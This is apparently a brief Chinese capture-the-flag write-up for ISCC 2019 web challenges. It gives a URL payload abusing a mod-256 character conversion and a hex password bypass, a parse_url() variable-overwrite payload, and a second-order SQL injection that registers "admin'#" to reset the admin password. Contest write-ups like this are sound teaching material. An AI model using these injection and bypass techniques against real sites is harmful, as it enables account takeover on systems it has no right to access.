接收两个参数：value数组 password
代码审计
w3lc0me_To_ISCC2019
str函数转ascii码时自动取模256；password 采用16进制绕过
payload:
?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x2333
########################################################################################################################################
parse_url()函数变量覆盖
payload:
?action=auth&key=abcd&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589
########################################################################################################################################
新注册一个用户：admin’#366 password: 123456
注册成功
使用注册的用户登录
更改密码，实际admin的密码也更改了。再使用admin登录即可。
